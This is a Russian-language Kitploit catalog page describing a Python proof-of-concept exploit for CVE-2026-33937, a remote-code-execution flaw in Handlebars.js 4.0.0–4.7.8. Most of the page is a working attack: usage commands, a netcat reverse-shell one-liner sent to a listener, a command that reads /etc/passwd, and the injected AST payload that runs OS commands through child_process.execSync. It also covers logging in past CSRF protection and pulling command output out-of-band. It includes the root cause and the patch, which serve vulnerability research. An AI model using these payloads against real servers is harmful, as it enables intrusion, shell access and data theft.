Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33937 — Python POC, эксплойт для Handlebars.js AST Injection RCE. Затронуты версии Handlebars.js с 4.0.0 по 4.7.8. Оценка CVSS: 9.8 Critical. | Kitploit
Инструменты/GitHubGitHub/c0gnit00/cve-2026-33937
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Python POC, эксплойт для Handlebars.js AST Injection RCE. Затронуты версии Handlebars.js с 4.0.0 по 4.7.8. Оценка CVSS: 9.8 Critical.

Репозиторий
131 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33937 — AST-инъекция в Handlebars.js (RCE)

Уязвимы версии Handlebars.js с 4.0.0 по 4.7.8. Оценка CVSS: 9.8 — критическая.


Обзор

CVE-2026-33937 — это уязвимость, связанная с путаницей типов (type confusion) в Handlebars.js. Функция Handlebars.compile() принимает на вход как строку шаблона, так и предварительно разобранный AST-объект. Когда атакующий передаёт специально сформированный AST-объект, посетитель NumberLiteral компилятора вставляет поле value узла в генерируемое тело JavaScript-функции дословно, без какой-либо санитизации. Вызов render() для полученного результата приводит к выполнению кода, контролируемого атакующим, в рамках процесса Node.js.


Использование

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Аргументы

  • --url — базовый URL цели, например http://hello.veer/ (обязательный)
  • --username — адрес электронной почты для входа (обязательный)
  • --password — пароль для входа (обязательный)
  • --command — команда ОС для выполнения, по умолчанию id (необязательный)

Примеры

root@kitploit:~
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

Как это работает

Шаг 1 — Аутентификация

Перед эксплуатацией скрипт выполняет полный вход в систему. Сначала он отправляет GET-запрос на /login, чтобы извлечь скрытый токен _csrf из формы, затем отправляет этот токен вместе с указанными email и паролем в виде POST-запроса с кодированием формы на /login. При успехе сервер возвращает редирект 302 на /dashboard и устанавливает сессионную cookie dz.sid, которая используется во всех последующих запросах.

Свежий CSRF-токен автоматически запрашивается перед каждым POST-запросом, поскольку CSRF-промежуточное ПО (middleware) приложения требует его для каждой операции, изменяющей данные.

Шаг 2 — Точка инъекции

Приложение предоставляет маршрут POST /character, который принимает Content-Type: application/json. Этот маршрут создаёт нового персонажа D&D и, когда указан campaign_id, передаёт поле campaign_message напрямую в Handlebars.compile() на сервере:

root@kitploit:~
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry

Когда тело запроса представляет собой JSON, campaign_message может быть вложенным объектом (AST), а не строкой, что позволяет обойти любую строковую валидацию на уровне формы. Поле campaign_id заставляет сервер сохранять результат рендеринга как сообщение журнала кампании, которое затем можно прочитать по адресу GET /campaign/1 — это даёт атакующему возможность получать вывод команд вне основного канала (out-of-band).

Шаг 3 — AST-полезная нагрузка

Эксплойт использует NumberLiteral в сочетании с хелпером lookup.

Обычная компиляция {{lookup this 1}} даёт:

root@kitploit:~
env.helpers.lookup(this, 1, {options})

Внедрённое значение NumberLiteral.value заменяет 1 на:

root@kitploit:~
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

Генерируемый JavaScript становится:

root@kitploit:~
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>

Когда вызывается render(), срабатывает execSync(), и его stdout возвращается в качестве значения выражения, которое сохраняется как сообщение кампании.

Команды внутри оборачиваются как /bin/sh -c 'cmd 2>&1', поэтому команды с пробелами, конвейерами (pipe) и перенаправлениями работают корректно, а stderr перехватывается вместе со stdout.

Шаг 4 — Извлечение вывода

Скрипт записывает количество сообщений кампании перед отправкой полезной нагрузки. После POST-запроса он снова запрашивает /campaign/1 и берёт срез messages[before_count:], чтобы изолировать только что добавленную запись. Такой подход корректно обрабатывает случаи, когда та же команда уже выполнялась ранее, поскольку сравнение на основе множества (set) дедуплицировало бы одинаковые выводы и пропустило бы новый результат.


Техническая первопричина

Внутри Handlebars.js, в файле javascript-compiler.js, уязвимый код выглядит так:

root@kitploit:~
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}

Версия 4.7.9 добавляет проверку типа в точке входа compile(), которая отклоняет любые входные данные, не являющиеся строкой, ещё до того, как будет достигнут генератор кода:

root@kitploit:~
// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

Ссылки

  • PoC для CVE-2026-33937 от dinhvaren: https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js: https://handlebarsjs.com
  • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

Отказ от ответственности

Этот репозиторий предназначен исключительно для исследований в области безопасности и образовательных целей. Используйте этот эксплойт только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Скачать инструмент